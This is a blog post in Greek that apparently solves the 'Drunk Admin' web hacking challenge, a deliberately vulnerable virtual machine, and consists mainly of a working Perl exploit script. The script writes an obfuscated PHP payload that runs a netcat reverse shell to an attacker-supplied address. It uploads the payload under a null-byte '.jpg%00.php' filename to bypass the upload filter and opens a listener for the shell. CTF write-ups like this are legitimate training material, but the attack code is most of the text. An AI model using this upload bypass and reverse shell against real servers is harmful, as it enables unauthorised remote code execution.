RSS

Remote exploit for “Drunk Admin” Web Hacking Challenge.

17 Jun

  O Ανέστης Μπεχτσούδης (@anestisb) πριν από μερικούς μήνες, όντας καλεσμένος στο 3ο κατά σειρά UNAUTHORIZED – security meeting (401×003), που έλαβε χώρα στο Hackserpace Αθήνας, παρουσίασε την εφαρμογή WeBaCoo. Επί τη ευκαιρία, μας ενημέρωσε σχετικά με ένα Web hacking challenge που είχε ετοιμάσει, με την κωδική ονομασία “Drunk Admin Web Hacking Challenge”. Δυστυχώς τότε, δεν είχα τον χρόνο που θα ήθελα ώστε να ασχοληθώ με την επίλυση του challenge έτσι, το άφησα για όταν θα έβρισκα λίγο χρόνο.

Μιας και αυτές τις μέρες, βρήκα αρκετό ελεύθερο χρόνο, είπα να κάτσω να δοκιμάσω και εγώ την τύχη μου απέναντι στον μεθυσμένο admin. Αφού λοιπόν, κατέβασα το εικονικό μηχάνημα (md5sum:edf9bcd28049ed85312510d5872ea463) διαπίστωσα ότι υπήρχαν ήδη αναρτημένες δυο (1,2) λύσεις άρα, αν τελικά αποφάσιζα να συνεχίσω με την επίλυση θα έπρεπε σίγουρα να βρω κάποιον άλλο πιο “πρωτότυπο” τρόπο χωρίς δηλαδή, να χρησιμοποιήσω καθόλου το WeBaCoo ή κάποια παρόμοια τεχνική.

Έτσι, ετοίμασα ένα απλό scriptακι σε perl (HangOver.pl).

use LWP::UserAgent;
use Digest::MD5 qw( md5_hex );

# -----------------------------------------------------------------------------------------
#  HangOver v.1 : Remote exploitation script for "Drunk Admin" Web Hacking Challenge.
# -----------------------------------------------------------------------------------------
#
#  WARNING : Don't drink and code! 😉
#  mr.pr0n - https://ghostinthelab.wordpress.com - (@_pr0n_)
#
# -----------------------------------------------------------------------------------------
#  Many thanks to Anestis Bechtsoudis (@anestisb) for this challenge.
# -----------------------------------------------------------------------------------------

print "+-----------------------------------+\n";
print "| HangOver v.1 - Run(2)Shell Script |\n";
print "+-----------------------------------+\n";

print "\nEnter the IP address of the target box (e.g.: http://192.168.178.39)";
print "\n> ";
$target=<STDIN>;
chomp($target);
$target = "http://".$target if ($target !~ /^http:/);

print "\nEnter the IP address for the reverse connection (e.g.: 192.168.178.27)";
print "\n> ";
$ip=<STDIN>;
chomp($ip);

print "\nEnter the port to connect back on (e.g.: 4444)";
print "\n> ";
$port=<STDIN>;
chomp($port);

$payload =
'<?php'."\n".
'$a = "nc";'."\n".
'$b = " -e ";'."\n".
'$c = "/bin/sh '.$ip.' '.$port.'";'."\n".
'$cmd = $a.$b.$c;'."\n".
'$dead = "echo ex";'."\n".
'$beef = "ec(\'".$cmd ."\');";'."\n".
'$send = $dead.$beef;'."\n".
'echo eval($send);'."\n".
'?>';

$filename = int(rand()*10110110).".jpg%00.php";
open FILE, ">$filename" or die $!;
print FILE $payload;
close FILE;

print "\n[+]Uploading the shell to server...\n";
system('curl -s -b trypios=uploader -F image=@'.$filename.' -F "Submit=Host My Awesome Image" '.$target.':8880/upload.php');

$nc= "nc -lvp $port";
system("xterm -e $nc &");

$md5 = md5_hex("$filename");

print "\n[+]Check for the shell:\n";
print $target.":8880/images/".$md5.".php\n\n";

Video

 

Tags: , ,

Leave a comment